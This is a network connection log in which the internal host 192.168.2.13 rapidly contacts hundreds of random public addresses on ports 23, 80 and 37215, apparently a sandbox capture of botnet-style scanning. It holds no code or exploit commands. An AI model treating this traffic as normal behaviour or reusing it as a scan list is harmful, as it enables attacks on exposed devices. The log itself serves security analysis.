Jan 30, 2025 10:43:00.106230021 CET	38884	23	192.168.2.13	116.206.117.167
Jan 30, 2025 10:43:00.106265068 CET	38884	23	192.168.2.13	171.41.46.15
Jan 30, 2025 10:43:00.106266975 CET	38884	23	192.168.2.13	82.200.176.145
Jan 30, 2025 10:43:00.106267929 CET	38884	23	192.168.2.13	141.207.186.227
Jan 30, 2025 10:43:00.106311083 CET	38884	23	192.168.2.13	35.187.48.7
Jan 30, 2025 10:43:00.106318951 CET	38884	23	192.168.2.13	218.188.162.162
Jan 30, 2025 10:43:00.106319904 CET	38884	23	192.168.2.13	211.176.134.169
Jan 30, 2025 10:43:00.106323004 CET	38884	23	192.168.2.13	38.102.49.194
Jan 30, 2025 10:43:00.106323957 CET	38884	23	192.168.2.13	119.246.50.55
Jan 30, 2025 10:43:00.106323004 CET	38884	23	192.168.2.13	53.32.172.86
Jan 30, 2025 10:43:00.106323004 CET	38884	23	192.168.2.13	196.76.51.118
Jan 30, 2025 10:43:00.106323004 CET	38884	23	192.168.2.13	41.250.150.78
Jan 30, 2025 10:43:00.106328964 CET	38884	23	192.168.2.13	40.115.134.179
Jan 30, 2025 10:43:00.106328964 CET	38884	23	192.168.2.13	186.26.204.52
Jan 30, 2025 10:43:00.106338978 CET	38884	23	192.168.2.13	186.4.233.150
Jan 30, 2025 10:43:00.106338978 CET	38884	23	192.168.2.13	210.151.237.57
Jan 30, 2025 10:43:00.106339931 CET	38884	23	192.168.2.13	50.193.255.180
Jan 30, 2025 10:43:00.106340885 CET	38884	23	192.168.2.13	212.41.30.148
Jan 30, 2025 10:43:00.106339931 CET	38884	23	192.168.2.13	207.229.73.186
Jan 30, 2025 10:43:00.106343031 CET	38884	23	192.168.2.13	185.229.5.20
Jan 30, 2025 10:43:00.106343031 CET	38884	23	192.168.2.13	146.96.229.128
Jan 30, 2025 10:43:00.106344938 CET	38884	23	192.168.2.13	49.26.202.248
Jan 30, 2025 10:43:00.106344938 CET	38884	23	192.168.2.13	155.117.212.26
Jan 30, 2025 10:43:00.106345892 CET	38884	23	192.168.2.13	79.167.204.108
Jan 30, 2025 10:43:00.106345892 CET	38884	23	192.168.2.13	81.13.241.128
Jan 30, 2025 10:43:00.106345892 CET	38884	23	192.168.2.13	176.145.35.102
Jan 30, 2025 10:43:00.106345892 CET	38884	23	192.168.2.13	113.238.57.55
Jan 30, 2025 10:43:00.106348038 CET	38884	23	192.168.2.13	67.98.254.246
Jan 30, 2025 10:43:00.106348038 CET	38884	23	192.168.2.13	53.180.105.86
Jan 30, 2025 10:43:00.106358051 CET	38884	23	192.168.2.13	141.198.63.30
Jan 30, 2025 10:43:00.106358051 CET	38884	23	192.168.2.13	211.213.78.100
Jan 30, 2025 10:43:00.106362104 CET	38884	23	192.168.2.13	91.217.251.13
Jan 30, 2025 10:43:00.106362104 CET	38884	23	192.168.2.13	116.181.18.175
Jan 30, 2025 10:43:00.106384993 CET	38884	23	192.168.2.13	138.163.136.132
Jan 30, 2025 10:43:00.106389046 CET	38884	23	192.168.2.13	217.126.210.178
Jan 30, 2025 10:43:00.106394053 CET	38884	23	192.168.2.13	187.178.186.155
Jan 30, 2025 10:43:00.106395960 CET	38884	23	192.168.2.13	165.16.244.167
Jan 30, 2025 10:43:00.106415987 CET	38884	23	192.168.2.13	152.166.161.235
Jan 30, 2025 10:43:00.106457949 CET	38884	23	192.168.2.13	103.142.240.116
Jan 30, 2025 10:43:00.106457949 CET	38884	23	192.168.2.13	80.37.125.18
Jan 30, 2025 10:43:00.106457949 CET	38884	23	192.168.2.13	184.86.111.161
Jan 30, 2025 10:43:00.106470108 CET	38884	23	192.168.2.13	80.41.115.44
Jan 30, 2025 10:43:00.106477022 CET	38884	23	192.168.2.13	81.28.150.69
Jan 30, 2025 10:43:00.106484890 CET	38884	23	192.168.2.13	2.148.138.175
Jan 30, 2025 10:43:00.106484890 CET	38884	23	192.168.2.13	5.30.210.165
Jan 30, 2025 10:43:00.106488943 CET	38884	23	192.168.2.13	66.215.72.253
Jan 30, 2025 10:43:00.106492043 CET	38884	23	192.168.2.13	183.91.54.98
Jan 30, 2025 10:43:00.106494904 CET	38884	23	192.168.2.13	43.87.28.51
Jan 30, 2025 10:43:00.106494904 CET	38884	23	192.168.2.13	220.41.139.242
Jan 30, 2025 10:43:00.106530905 CET	38884	23	192.168.2.13	86.111.69.0
Jan 30, 2025 10:43:00.106533051 CET	38884	23	192.168.2.13	152.4.55.116
Jan 30, 2025 10:43:00.106594086 CET	38884	23	192.168.2.13	94.96.181.84
Jan 30, 2025 10:43:00.106594086 CET	38884	23	192.168.2.13	141.133.100.236
Jan 30, 2025 10:43:00.106595993 CET	38884	23	192.168.2.13	185.220.14.92
Jan 30, 2025 10:43:00.106595993 CET	38884	23	192.168.2.13	179.58.86.128
Jan 30, 2025 10:43:00.106596947 CET	38884	23	192.168.2.13	219.99.91.189
Jan 30, 2025 10:43:00.106600046 CET	38884	23	192.168.2.13	168.141.67.107
Jan 30, 2025 10:43:00.106601954 CET	38884	23	192.168.2.13	208.48.21.228
Jan 30, 2025 10:43:00.106601954 CET	38884	23	192.168.2.13	146.123.52.249
Jan 30, 2025 10:43:00.106604099 CET	38884	23	192.168.2.13	83.145.128.241
Jan 30, 2025 10:43:00.106620073 CET	38884	23	192.168.2.13	150.86.103.243
Jan 30, 2025 10:43:00.106623888 CET	38884	23	192.168.2.13	164.167.189.83
Jan 30, 2025 10:43:00.106636047 CET	38884	23	192.168.2.13	147.169.119.153
Jan 30, 2025 10:43:00.106667995 CET	38884	23	192.168.2.13	103.85.223.168
Jan 30, 2025 10:43:00.106668949 CET	38884	23	192.168.2.13	156.127.163.194
Jan 30, 2025 10:43:00.106703997 CET	38884	23	192.168.2.13	182.64.157.30
Jan 30, 2025 10:43:00.106707096 CET	38884	23	192.168.2.13	147.205.198.143
Jan 30, 2025 10:43:00.106722116 CET	38884	23	192.168.2.13	94.60.44.94
Jan 30, 2025 10:43:00.106723070 CET	38884	23	192.168.2.13	186.234.110.170
Jan 30, 2025 10:43:00.106722116 CET	38884	23	192.168.2.13	85.179.104.105
Jan 30, 2025 10:43:00.106725931 CET	38884	23	192.168.2.13	211.139.192.65
Jan 30, 2025 10:43:00.106729031 CET	38884	23	192.168.2.13	147.10.78.150
Jan 30, 2025 10:43:00.106729031 CET	38884	23	192.168.2.13	34.188.173.95
Jan 30, 2025 10:43:00.106730938 CET	38884	23	192.168.2.13	68.114.42.237
Jan 30, 2025 10:43:00.106730938 CET	38884	23	192.168.2.13	47.93.202.94
Jan 30, 2025 10:43:00.106738091 CET	38884	23	192.168.2.13	161.45.180.24
Jan 30, 2025 10:43:00.106738091 CET	38884	23	192.168.2.13	165.36.203.248
Jan 30, 2025 10:43:00.106740952 CET	38884	23	192.168.2.13	41.144.219.9
Jan 30, 2025 10:43:00.106740952 CET	38884	23	192.168.2.13	120.122.27.189
Jan 30, 2025 10:43:00.106740952 CET	38884	23	192.168.2.13	118.29.56.128
Jan 30, 2025 10:43:00.106741905 CET	38884	23	192.168.2.13	73.27.31.109
Jan 30, 2025 10:43:00.106740952 CET	38884	23	192.168.2.13	67.93.84.194
Jan 30, 2025 10:43:00.106741905 CET	38884	23	192.168.2.13	167.112.145.215
Jan 30, 2025 10:43:00.106741905 CET	38884	23	192.168.2.13	82.223.21.172
Jan 30, 2025 10:43:00.106744051 CET	38884	23	192.168.2.13	101.71.82.128
Jan 30, 2025 10:43:00.106745005 CET	38884	23	192.168.2.13	34.155.179.58
Jan 30, 2025 10:43:00.106745005 CET	38884	23	192.168.2.13	200.137.134.114
Jan 30, 2025 10:43:00.106751919 CET	38884	23	192.168.2.13	137.64.247.82
Jan 30, 2025 10:43:00.106754065 CET	38884	23	192.168.2.13	203.212.221.11
Jan 30, 2025 10:43:00.106755018 CET	38884	23	192.168.2.13	23.78.208.175
Jan 30, 2025 10:43:00.106755018 CET	38884	23	192.168.2.13	122.22.77.203
Jan 30, 2025 10:43:00.106762886 CET	38884	23	192.168.2.13	58.104.127.158
Jan 30, 2025 10:43:00.106765032 CET	38884	23	192.168.2.13	122.222.47.82
Jan 30, 2025 10:43:00.106842995 CET	38884	23	192.168.2.13	57.225.104.175
Jan 30, 2025 10:43:00.106843948 CET	38884	23	192.168.2.13	158.132.67.22
Jan 30, 2025 10:43:00.106844902 CET	38884	23	192.168.2.13	160.144.211.242
Jan 30, 2025 10:43:00.106849909 CET	38884	23	192.168.2.13	93.75.34.152
Jan 30, 2025 10:43:00.106849909 CET	38884	23	192.168.2.13	59.150.9.188
Jan 30, 2025 10:43:00.106858969 CET	38884	23	192.168.2.13	111.1.110.116
Jan 30, 2025 10:43:00.106859922 CET	38884	23	192.168.2.13	71.199.232.229
Jan 30, 2025 10:43:00.106916904 CET	38884	23	192.168.2.13	147.204.108.144
Jan 30, 2025 10:43:00.106916904 CET	38884	23	192.168.2.13	41.1.190.239
Jan 30, 2025 10:43:00.106916904 CET	38884	23	192.168.2.13	147.54.15.240
Jan 30, 2025 10:43:00.106920958 CET	38884	23	192.168.2.13	201.45.195.71
Jan 30, 2025 10:43:00.106920958 CET	38884	23	192.168.2.13	45.172.47.242
Jan 30, 2025 10:43:00.106920958 CET	38884	23	192.168.2.13	35.65.87.0
Jan 30, 2025 10:43:00.106920958 CET	38884	23	192.168.2.13	37.191.247.41
Jan 30, 2025 10:43:00.106925011 CET	38884	23	192.168.2.13	104.104.153.14
Jan 30, 2025 10:43:00.106925011 CET	38884	23	192.168.2.13	158.100.82.4
Jan 30, 2025 10:43:00.106925011 CET	38884	23	192.168.2.13	117.177.148.35
Jan 30, 2025 10:43:00.106971025 CET	38884	23	192.168.2.13	208.135.120.134
Jan 30, 2025 10:43:00.106986046 CET	38884	23	192.168.2.13	48.180.181.19
Jan 30, 2025 10:43:00.106986046 CET	38884	23	192.168.2.13	113.74.195.28
Jan 30, 2025 10:43:00.106986046 CET	38884	23	192.168.2.13	217.128.18.157
Jan 30, 2025 10:43:00.106986046 CET	38884	23	192.168.2.13	140.27.29.83
Jan 30, 2025 10:43:00.106987000 CET	38884	23	192.168.2.13	135.247.62.76
Jan 30, 2025 10:43:00.106988907 CET	38884	23	192.168.2.13	197.237.151.108
Jan 30, 2025 10:43:00.106987000 CET	38884	23	192.168.2.13	123.141.117.208
Jan 30, 2025 10:43:00.106987000 CET	38884	23	192.168.2.13	173.135.85.178
Jan 30, 2025 10:43:00.106988907 CET	38884	23	192.168.2.13	118.106.23.168
Jan 30, 2025 10:43:00.106987000 CET	38884	23	192.168.2.13	202.85.187.15
Jan 30, 2025 10:43:00.106991053 CET	38884	23	192.168.2.13	186.138.162.236
Jan 30, 2025 10:43:00.106988907 CET	38884	23	192.168.2.13	94.121.50.84
Jan 30, 2025 10:43:00.106991053 CET	38884	23	192.168.2.13	192.140.7.207
Jan 30, 2025 10:43:00.106993914 CET	38884	23	192.168.2.13	184.125.228.18
Jan 30, 2025 10:43:00.106995106 CET	38884	23	192.168.2.13	103.251.33.67
Jan 30, 2025 10:43:00.106995106 CET	38884	23	192.168.2.13	94.216.25.185
Jan 30, 2025 10:43:00.106995106 CET	38884	23	192.168.2.13	196.171.192.144
Jan 30, 2025 10:43:00.107050896 CET	38884	23	192.168.2.13	195.182.135.131
Jan 30, 2025 10:43:00.107072115 CET	38884	23	192.168.2.13	76.94.99.249
Jan 30, 2025 10:43:00.107072115 CET	38884	23	192.168.2.13	132.236.131.215
Jan 30, 2025 10:43:00.107074022 CET	38884	23	192.168.2.13	197.195.82.183
Jan 30, 2025 10:43:00.107076883 CET	38884	23	192.168.2.13	103.143.68.50
Jan 30, 2025 10:43:00.107081890 CET	38884	23	192.168.2.13	41.111.76.185
Jan 30, 2025 10:43:00.109554052 CET	23	38884	103.120.237.205	192.168.2.13
Jan 30, 2025 10:43:00.109564066 CET	23	38884	120.149.146.247	192.168.2.13
Jan 30, 2025 10:43:00.109574080 CET	23	38884	148.105.69.254	192.168.2.13
Jan 30, 2025 10:43:00.109580040 CET	23	38884	121.7.202.30	192.168.2.13
Jan 30, 2025 10:43:00.109591007 CET	23	38884	102.98.28.27	192.168.2.13
Jan 30, 2025 10:43:00.109601021 CET	23	38884	64.64.169.74	192.168.2.13
Jan 30, 2025 10:43:00.109611988 CET	23	38884	94.199.10.171	192.168.2.13
Jan 30, 2025 10:43:00.109632015 CET	38884	23	192.168.2.13	120.149.146.247
Jan 30, 2025 10:43:00.109631062 CET	38884	23	192.168.2.13	121.7.202.30
Jan 30, 2025 10:43:00.109697104 CET	38884	23	192.168.2.13	64.64.169.74
Jan 30, 2025 10:43:00.109697104 CET	38884	23	192.168.2.13	103.120.237.205
Jan 30, 2025 10:43:00.109697104 CET	38884	23	192.168.2.13	94.199.10.171
Jan 30, 2025 10:43:00.109795094 CET	38884	23	192.168.2.13	148.105.69.254
Jan 30, 2025 10:43:00.109795094 CET	38884	23	192.168.2.13	102.98.28.27
Jan 30, 2025 10:43:00.110002041 CET	23	38884	93.161.236.155	192.168.2.13
Jan 30, 2025 10:43:00.110013962 CET	23	38884	194.73.89.45	192.168.2.13
Jan 30, 2025 10:43:00.110023022 CET	23	38884	180.213.143.224	192.168.2.13
Jan 30, 2025 10:43:00.110034943 CET	23	38884	24.151.67.92	192.168.2.13
Jan 30, 2025 10:43:00.110049009 CET	38884	23	192.168.2.13	194.73.89.45
Jan 30, 2025 10:43:00.110057116 CET	23	38884	37.202.195.201	192.168.2.13
Jan 30, 2025 10:43:00.110059977 CET	38884	23	192.168.2.13	180.213.143.224
Jan 30, 2025 10:43:00.110069036 CET	23	38884	184.234.171.69	192.168.2.13
Jan 30, 2025 10:43:00.110079050 CET	23	38884	69.192.153.172	192.168.2.13
Jan 30, 2025 10:43:00.110091925 CET	23	38884	40.147.211.73	192.168.2.13
Jan 30, 2025 10:43:00.110101938 CET	23	38884	206.118.134.58	192.168.2.13
Jan 30, 2025 10:43:00.110101938 CET	38884	23	192.168.2.13	37.202.195.201
Jan 30, 2025 10:43:00.110112906 CET	23	38884	14.75.178.228	192.168.2.13
Jan 30, 2025 10:43:00.110136986 CET	23	38884	100.187.164.188	192.168.2.13
Jan 30, 2025 10:43:00.110147953 CET	23	38884	205.252.145.211	192.168.2.13
Jan 30, 2025 10:43:00.110157967 CET	23	38884	49.115.23.190	192.168.2.13
Jan 30, 2025 10:43:00.110161066 CET	38884	23	192.168.2.13	14.75.178.228
Jan 30, 2025 10:43:00.110162973 CET	23	38884	180.230.182.149	192.168.2.13
Jan 30, 2025 10:43:00.110166073 CET	38884	23	192.168.2.13	93.161.236.155
Jan 30, 2025 10:43:00.110168934 CET	23	38884	173.96.150.97	192.168.2.13
Jan 30, 2025 10:43:00.110168934 CET	38884	23	192.168.2.13	40.147.211.73
Jan 30, 2025 10:43:00.110171080 CET	38884	23	192.168.2.13	24.151.67.92
Jan 30, 2025 10:43:00.110176086 CET	38884	23	192.168.2.13	100.187.164.188
Jan 30, 2025 10:43:00.110179901 CET	23	38884	69.167.58.100	192.168.2.13
Jan 30, 2025 10:43:00.110179901 CET	38884	23	192.168.2.13	184.234.171.69
Jan 30, 2025 10:43:00.110193968 CET	23	38884	46.144.94.83	192.168.2.13
Jan 30, 2025 10:43:00.110198975 CET	38884	23	192.168.2.13	206.118.134.58
Jan 30, 2025 10:43:00.110202074 CET	38884	23	192.168.2.13	205.252.145.211
Jan 30, 2025 10:43:00.110217094 CET	38884	23	192.168.2.13	180.230.182.149
Jan 30, 2025 10:43:00.110219955 CET	23	38884	95.79.141.187	192.168.2.13
Jan 30, 2025 10:43:00.110220909 CET	38884	23	192.168.2.13	173.96.150.97
Jan 30, 2025 10:43:00.110229969 CET	38884	23	192.168.2.13	69.167.58.100
Jan 30, 2025 10:43:00.110233068 CET	23	38884	146.197.184.122	192.168.2.13
Jan 30, 2025 10:43:00.110244036 CET	23	38884	216.68.20.126	192.168.2.13
Jan 30, 2025 10:43:00.110249996 CET	38884	23	192.168.2.13	46.144.94.83
Jan 30, 2025 10:43:00.110254049 CET	23	38884	5.230.106.17	192.168.2.13
Jan 30, 2025 10:43:00.110259056 CET	38884	23	192.168.2.13	95.79.141.187
Jan 30, 2025 10:43:00.110265017 CET	23	38884	194.153.234.233	192.168.2.13
Jan 30, 2025 10:43:00.110275984 CET	38884	23	192.168.2.13	69.192.153.172
Jan 30, 2025 10:43:00.110275984 CET	38884	23	192.168.2.13	49.115.23.190
Jan 30, 2025 10:43:00.110276937 CET	23	38884	174.208.11.117	192.168.2.13
Jan 30, 2025 10:43:00.110285044 CET	38884	23	192.168.2.13	146.197.184.122
Jan 30, 2025 10:43:00.110286951 CET	38884	23	192.168.2.13	216.68.20.126
Jan 30, 2025 10:43:00.110289097 CET	23	38884	125.200.124.233	192.168.2.13
Jan 30, 2025 10:43:00.110296965 CET	38884	23	192.168.2.13	5.230.106.17
Jan 30, 2025 10:43:00.110300064 CET	23	38884	115.91.31.147	192.168.2.13
Jan 30, 2025 10:43:00.110311031 CET	23	38884	180.38.194.170	192.168.2.13
Jan 30, 2025 10:43:00.110316992 CET	38884	23	192.168.2.13	194.153.234.233
Jan 30, 2025 10:43:00.110321999 CET	38884	23	192.168.2.13	174.208.11.117
Jan 30, 2025 10:43:00.110323906 CET	23	38884	170.158.112.204	192.168.2.13
Jan 30, 2025 10:43:00.110336065 CET	23	38884	199.228.218.99	192.168.2.13
Jan 30, 2025 10:43:00.110338926 CET	38884	23	192.168.2.13	125.200.124.233
Jan 30, 2025 10:43:00.110338926 CET	38884	23	192.168.2.13	115.91.31.147
Jan 30, 2025 10:43:00.110341072 CET	23	38884	141.145.100.239	192.168.2.13
Jan 30, 2025 10:43:00.110352039 CET	23	38884	146.170.157.65	192.168.2.13
Jan 30, 2025 10:43:00.110361099 CET	38884	23	192.168.2.13	180.38.194.170
Jan 30, 2025 10:43:00.110363960 CET	23	38884	76.134.204.163	192.168.2.13
Jan 30, 2025 10:43:00.110378981 CET	23	38884	118.246.153.241	192.168.2.13
Jan 30, 2025 10:43:00.110388994 CET	23	38884	91.28.2.163	192.168.2.13
Jan 30, 2025 10:43:00.110415936 CET	38884	23	192.168.2.13	170.158.112.204
Jan 30, 2025 10:43:00.110415936 CET	38884	23	192.168.2.13	199.228.218.99
Jan 30, 2025 10:43:00.110415936 CET	38884	23	192.168.2.13	141.145.100.239
Jan 30, 2025 10:43:00.110426903 CET	38884	23	192.168.2.13	118.246.153.241
Jan 30, 2025 10:43:00.110440016 CET	38884	23	192.168.2.13	146.170.157.65
Jan 30, 2025 10:43:00.110440016 CET	38884	23	192.168.2.13	91.28.2.163
Jan 30, 2025 10:43:00.110440016 CET	38884	23	192.168.2.13	76.134.204.163
Jan 30, 2025 10:43:00.131155014 CET	55448	23	192.168.2.13	190.152.225.44
Jan 30, 2025 10:43:00.131156921 CET	41914	23	192.168.2.13	212.179.37.162
Jan 30, 2025 10:43:00.131197929 CET	54802	23	192.168.2.13	198.23.41.130
Jan 30, 2025 10:43:00.131201982 CET	51816	80	192.168.2.13	117.176.214.115
Jan 30, 2025 10:43:00.131258011 CET	40108	23	192.168.2.13	170.182.14.66
Jan 30, 2025 10:43:00.131264925 CET	36704	23	192.168.2.13	183.184.36.193
Jan 30, 2025 10:43:00.131264925 CET	48564	23	192.168.2.13	112.115.182.38
Jan 30, 2025 10:43:00.131264925 CET	46556	23	192.168.2.13	47.180.166.186
Jan 30, 2025 10:43:00.131267071 CET	46132	23	192.168.2.13	186.137.108.73
Jan 30, 2025 10:43:00.131264925 CET	40106	23	192.168.2.13	183.156.135.130
Jan 30, 2025 10:43:00.131309032 CET	55030	23	192.168.2.13	117.189.223.250
Jan 30, 2025 10:43:00.131309032 CET	60200	80	192.168.2.13	191.252.94.92
Jan 30, 2025 10:43:00.131320953 CET	53890	23	192.168.2.13	138.96.198.53
Jan 30, 2025 10:43:00.131320953 CET	60012	23	192.168.2.13	164.242.148.95
Jan 30, 2025 10:43:00.131320953 CET	60280	23	192.168.2.13	8.33.139.200
Jan 30, 2025 10:43:00.131320953 CET	57794	80	192.168.2.13	116.34.227.92
Jan 30, 2025 10:43:00.131320953 CET	45484	80	192.168.2.13	209.77.2.157
Jan 30, 2025 10:43:00.131320953 CET	38856	23	192.168.2.13	100.139.127.148
Jan 30, 2025 10:43:00.131330013 CET	41036	23	192.168.2.13	165.189.203.132
Jan 30, 2025 10:43:00.131330013 CET	49558	23	192.168.2.13	78.87.239.212
Jan 30, 2025 10:43:00.131351948 CET	49076	23	192.168.2.13	119.106.117.163
Jan 30, 2025 10:43:00.131351948 CET	56682	23	192.168.2.13	24.147.106.45
Jan 30, 2025 10:43:00.136006117 CET	23	55448	190.152.225.44	192.168.2.13
Jan 30, 2025 10:43:00.136018038 CET	23	41914	212.179.37.162	192.168.2.13
Jan 30, 2025 10:43:00.136080980 CET	41914	23	192.168.2.13	212.179.37.162
Jan 30, 2025 10:43:00.136105061 CET	23	53890	138.96.198.53	192.168.2.13
Jan 30, 2025 10:43:00.136123896 CET	55448	23	192.168.2.13	190.152.225.44
Jan 30, 2025 10:43:00.136161089 CET	53890	23	192.168.2.13	138.96.198.53
Jan 30, 2025 10:43:00.163153887 CET	47128	23	192.168.2.13	37.86.58.14
Jan 30, 2025 10:43:00.163156033 CET	37956	23	192.168.2.13	212.112.8.160
Jan 30, 2025 10:43:00.163170099 CET	46902	23	192.168.2.13	42.243.228.158
Jan 30, 2025 10:43:00.163170099 CET	39298	80	192.168.2.13	110.189.31.240
Jan 30, 2025 10:43:00.163170099 CET	34012	23	192.168.2.13	166.52.97.209
Jan 30, 2025 10:43:00.163170099 CET	51754	23	192.168.2.13	184.159.212.120
Jan 30, 2025 10:43:00.163177967 CET	46428	37215	192.168.2.13	41.41.97.126
Jan 30, 2025 10:43:00.163182974 CET	40688	80	192.168.2.13	39.162.215.37
Jan 30, 2025 10:43:00.163186073 CET	58900	80	192.168.2.13	37.15.41.187
Jan 30, 2025 10:43:00.163186073 CET	54202	80	192.168.2.13	142.153.17.34
Jan 30, 2025 10:43:00.163187981 CET	48066	23	192.168.2.13	132.151.221.240
Jan 30, 2025 10:43:00.163187027 CET	42064	37215	192.168.2.13	197.14.30.79
Jan 30, 2025 10:43:00.163187981 CET	57012	80	192.168.2.13	140.207.66.27
Jan 30, 2025 10:43:00.163187981 CET	38966	23	192.168.2.13	110.2.50.60
Jan 30, 2025 10:43:00.163187027 CET	51050	37215	192.168.2.13	197.159.203.66
Jan 30, 2025 10:43:00.163189888 CET	58200	80	192.168.2.13	201.240.60.239
Jan 30, 2025 10:43:00.163187981 CET	40274	37215	192.168.2.13	156.196.248.9
Jan 30, 2025 10:43:00.163199902 CET	52990	80	192.168.2.13	118.40.123.22
Jan 30, 2025 10:43:00.163199902 CET	44478	23	192.168.2.13	216.134.201.22
Jan 30, 2025 10:43:00.163199902 CET	49264	37215	192.168.2.13	197.15.93.92
Jan 30, 2025 10:43:00.163199902 CET	34142	80	192.168.2.13	24.92.71.116
Jan 30, 2025 10:43:00.163199902 CET	48158	80	192.168.2.13	74.228.168.93
Jan 30, 2025 10:43:00.163203955 CET	47520	23	192.168.2.13	61.38.251.161
Jan 30, 2025 10:43:00.163208008 CET	33948	37215	192.168.2.13	197.210.224.92
Jan 30, 2025 10:43:00.168013096 CET	23	47128	37.86.58.14	192.168.2.13
Jan 30, 2025 10:43:00.168024063 CET	23	37956	212.112.8.160	192.168.2.13
Jan 30, 2025 10:43:00.168035030 CET	23	46902	42.243.228.158	192.168.2.13
Jan 30, 2025 10:43:00.168071032 CET	47128	23	192.168.2.13	37.86.58.14
Jan 30, 2025 10:43:00.168077946 CET	37956	23	192.168.2.13	212.112.8.160
Jan 30, 2025 10:43:00.168087006 CET	46902	23	192.168.2.13	42.243.228.158
Jan 30, 2025 10:43:00.195168018 CET	43644	80	192.168.2.13	156.104.231.189
Jan 30, 2025 10:43:00.195172071 CET	54760	37215	192.168.2.13	41.186.113.132
Jan 30, 2025 10:43:00.195173979 CET	36550	23	192.168.2.13	137.21.34.231
Jan 30, 2025 10:43:00.195192099 CET	60142	23	192.168.2.13	17.161.84.176
Jan 30, 2025 10:43:00.195190907 CET	53056	80	192.168.2.13	91.139.116.6
Jan 30, 2025 10:43:00.195202112 CET	47690	37215	192.168.2.13	197.250.208.96
Jan 30, 2025 10:43:00.195202112 CET	45886	80	192.168.2.13	69.237.129.50
Jan 30, 2025 10:43:00.195203066 CET	58038	23	192.168.2.13	191.171.171.145
Jan 30, 2025 10:43:00.195199966 CET	38092	23	192.168.2.13	64.113.69.209
Jan 30, 2025 10:43:00.195200920 CET	46100	37215	192.168.2.13	197.229.174.221
Jan 30, 2025 10:43:00.195210934 CET	50344	37215	192.168.2.13	197.28.132.23
Jan 30, 2025 10:43:00.195214987 CET	53430	23	192.168.2.13	105.10.200.237
Jan 30, 2025 10:43:00.195214987 CET	36512	37215	192.168.2.13	156.222.154.27
Jan 30, 2025 10:43:00.195214987 CET	60346	80	192.168.2.13	47.210.173.27
Jan 30, 2025 10:43:00.195216894 CET	48600	37215	192.168.2.13	156.251.188.68
Jan 30, 2025 10:43:00.195218086 CET	33448	80	192.168.2.13	179.164.175.64
Jan 30, 2025 10:43:00.195219040 CET	59726	23	192.168.2.13	159.60.134.244
Jan 30, 2025 10:43:00.195220947 CET	55008	80	192.168.2.13	189.109.99.160
Jan 30, 2025 10:43:00.195220947 CET	49794	23	192.168.2.13	106.214.158.142
Jan 30, 2025 10:43:00.195225954 CET	51010	80	192.168.2.13	133.189.70.235
Jan 30, 2025 10:43:00.195228100 CET	53082	80	192.168.2.13	111.239.161.67
Jan 30, 2025 10:43:00.195228100 CET	59250	80	192.168.2.13	87.193.63.174
Jan 30, 2025 10:43:00.195228100 CET	41702	80	192.168.2.13	158.127.154.218
Jan 30, 2025 10:43:00.200031042 CET	37215	54760	41.186.113.132	192.168.2.13
Jan 30, 2025 10:43:00.200043917 CET	80	43644	156.104.231.189	192.168.2.13
Jan 30, 2025 10:43:00.200054884 CET	23	36550	137.21.34.231	192.168.2.13
Jan 30, 2025 10:43:00.200124979 CET	54760	37215	192.168.2.13	41.186.113.132
Jan 30, 2025 10:43:00.200129986 CET	43644	80	192.168.2.13	156.104.231.189
Jan 30, 2025 10:43:00.200136900 CET	36550	23	192.168.2.13	137.21.34.231
Jan 30, 2025 10:43:00.200237989 CET	38885	80	192.168.2.13	209.140.145.92
Jan 30, 2025 10:43:00.200246096 CET	38885	80	192.168.2.13	17.143.201.45
Jan 30, 2025 10:43:00.200246096 CET	38885	80	192.168.2.13	36.28.73.210
Jan 30, 2025 10:43:00.200259924 CET	38885	80	192.168.2.13	40.230.152.15
Jan 30, 2025 10:43:00.200261116 CET	38885	80	192.168.2.13	47.96.204.224
Jan 30, 2025 10:43:00.200259924 CET	38885	80	192.168.2.13	68.254.245.45
Jan 30, 2025 10:43:00.200261116 CET	38885	80	192.168.2.13	116.176.95.19
Jan 30, 2025 10:43:00.200268984 CET	38885	80	192.168.2.13	183.14.107.146
Jan 30, 2025 10:43:00.200272083 CET	38885	80	192.168.2.13	189.169.44.62
Jan 30, 2025 10:43:00.200282097 CET	38885	80	192.168.2.13	51.66.26.177
Jan 30, 2025 10:43:00.200293064 CET	38885	80	192.168.2.13	173.220.235.230
Jan 30, 2025 10:43:00.200297117 CET	38885	80	192.168.2.13	65.245.227.22
Jan 30, 2025 10:43:00.200299978 CET	38885	80	192.168.2.13	175.141.164.51
Jan 30, 2025 10:43:00.200314045 CET	38885	80	192.168.2.13	137.141.199.30
Jan 30, 2025 10:43:00.200316906 CET	38885	80	192.168.2.13	47.55.216.31
Jan 30, 2025 10:43:00.200316906 CET	38885	80	192.168.2.13	96.170.56.18
Jan 30, 2025 10:43:00.200324059 CET	38885	80	192.168.2.13	79.190.24.248
Jan 30, 2025 10:43:00.200326920 CET	38885	80	192.168.2.13	95.84.159.238
Jan 30, 2025 10:43:00.200325966 CET	38885	80	192.168.2.13	218.252.51.223
Jan 30, 2025 10:43:00.200340986 CET	38885	80	192.168.2.13	60.5.234.18
Jan 30, 2025 10:43:00.200345993 CET	38885	80	192.168.2.13	50.254.240.135
Jan 30, 2025 10:43:00.200346947 CET	38885	80	192.168.2.13	162.24.99.53
Jan 30, 2025 10:43:00.200345993 CET	38885	80	192.168.2.13	142.17.240.99
Jan 30, 2025 10:43:00.200365067 CET	38885	80	192.168.2.13	204.179.135.246
Jan 30, 2025 10:43:00.200367928 CET	38885	80	192.168.2.13	205.165.225.134
Jan 30, 2025 10:43:00.200377941 CET	38885	80	192.168.2.13	146.254.223.47
Jan 30, 2025 10:43:00.200381994 CET	38885	80	192.168.2.13	191.64.100.182
Jan 30, 2025 10:43:00.200391054 CET	38885	80	192.168.2.13	129.219.130.176
Jan 30, 2025 10:43:00.200393915 CET	38885	80	192.168.2.13	76.224.254.17
Jan 30, 2025 10:43:00.200404882 CET	38885	80	192.168.2.13	87.22.118.43
Jan 30, 2025 10:43:00.200404882 CET	38885	80	192.168.2.13	101.40.49.73
Jan 30, 2025 10:43:00.200411081 CET	38885	80	192.168.2.13	165.15.59.149
Jan 30, 2025 10:43:00.200421095 CET	38885	80	192.168.2.13	23.99.93.160
Jan 30, 2025 10:43:00.200422049 CET	38885	80	192.168.2.13	76.163.59.192
Jan 30, 2025 10:43:00.200433016 CET	38885	80	192.168.2.13	137.95.41.147
Jan 30, 2025 10:43:00.200439930 CET	38885	80	192.168.2.13	137.132.181.133
Jan 30, 2025 10:43:00.200448990 CET	38885	80	192.168.2.13	167.214.224.64
Jan 30, 2025 10:43:00.200452089 CET	38885	80	192.168.2.13	70.125.170.186
Jan 30, 2025 10:43:00.200458050 CET	38885	80	192.168.2.13	164.24.176.107
